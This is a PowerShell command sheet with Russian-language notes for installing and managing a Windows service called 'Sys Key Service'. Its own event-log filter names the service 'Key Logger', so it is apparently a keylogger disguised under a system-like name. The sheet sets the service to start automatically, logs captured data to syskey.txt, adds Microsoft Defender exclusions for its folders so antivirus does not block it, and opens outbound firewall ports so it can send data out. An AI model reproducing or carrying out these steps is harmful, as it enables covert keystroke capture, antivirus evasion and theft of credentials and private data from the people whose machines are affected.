Set-Location "C:\Program Files\SysKeyService" .\SysKeyService.exe install
.\SysKeyService.exe start
Start-Service -Name "Sys Key Service"
Get-Service -Name "Sys Key Service"
.\SysKeyService.exe stop
Stop-Service -Name "Sys Key Service"
.\SysKeyService.exe uninstall
Get-Content "C:\Program Files\SysKeyService\SysKeyService.out.log" -Tail 50 Get-Content "C:\Program Files\SysKeyService\SysKeyService.err.log" -Tail 50
Get-Content "C:\ProgramData\SysKeyService\syskey.txt" -Tail 100
$serviceName = "Sys Key Service" $installDir = "C:\Program Files\SysKeyService" $jarPath = "$installDir\SysKeyService.jar"
New-Item -Path $installDir -ItemType Directory -Force
Copy-Item -Path ".\SysKeyService.jar" -Destination $jarPath Copy-Item -Path ".\SysKeyService.exe" -Destination $installDir Copy-Item -Path ".\SysKeyService.xml" -Destination $installDir
Set-Location $installDir .\SysKeyService.exe install
Start-Service -Name $serviceName
Get-Service -Name $serviceName
Set-Service -Name $serviceName -StartupType Automatic
Get-Service
Get-Service -Name "Key"
Restart-Service -Name "Sys Key Service"
Set-Service -Name "Sys Key Service" -StartupType Automatic # Автозапуск Set-Service -Name "Sys Key Service" -StartupType Manual # Ручной запуск Set-Service -Name "Sys Key Service" -StartupType Disabled # Отключена
Если служба не запускается: powershell
Get-EventLog -LogName System -Source "Service Control Manager" -After (Get-Date).AddMinutes(-5) | Where-Object {$_.Message -like "Key Logger"}
icacls "C:\Program Files\SysKeyService" icacls "C:\ProgramData\SysKeyService"
where.exe java java -version
Stop-Service -Name "Sys Key Service" -Force .\SysKeyService.exe uninstall Remove-Item -Path "C:\Program Files\SysKeyService" -Recurse -Force Remove-Item -Path "C:\ProgramData\SysKeyService" -Recurse -Force
Важные замечания:
Права доступа: Все команды управления службами требуют запуска PowerShell от имени администратора. Политика выполнения: Если возникает ошибка выполнения скриптов: powershell
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force
Безопасность:
Антивирусы могут блокировать работу службы Добавьте исключения для папок: powershell Add-MpPreference -ExclusionPath "C:\Program Files\SysKeyService" Add-MpPreference -ExclusionPath "C:\ProgramData\SysKeyService"
Логирование:
Логи службы: C:\Program Files\SysKeyService\*.log Логи приложения: C:\ProgramData\SysKeyService\syskey.txt Системные логи: Event Viewer > Windows Logs > System
Сетевая безопасность: Если служба отправляет данные по сети, откройте порты: powershell
New-NetFirewallRule -DisplayName "SysKeyService Service" -Direction Outbound -Protocol TCP -RemotePort 80,443 -Action Allow
Для постоянного мониторинга состояния службы можно использовать: powershell
Get-Service -Name "Sys Key Service" | Format-List *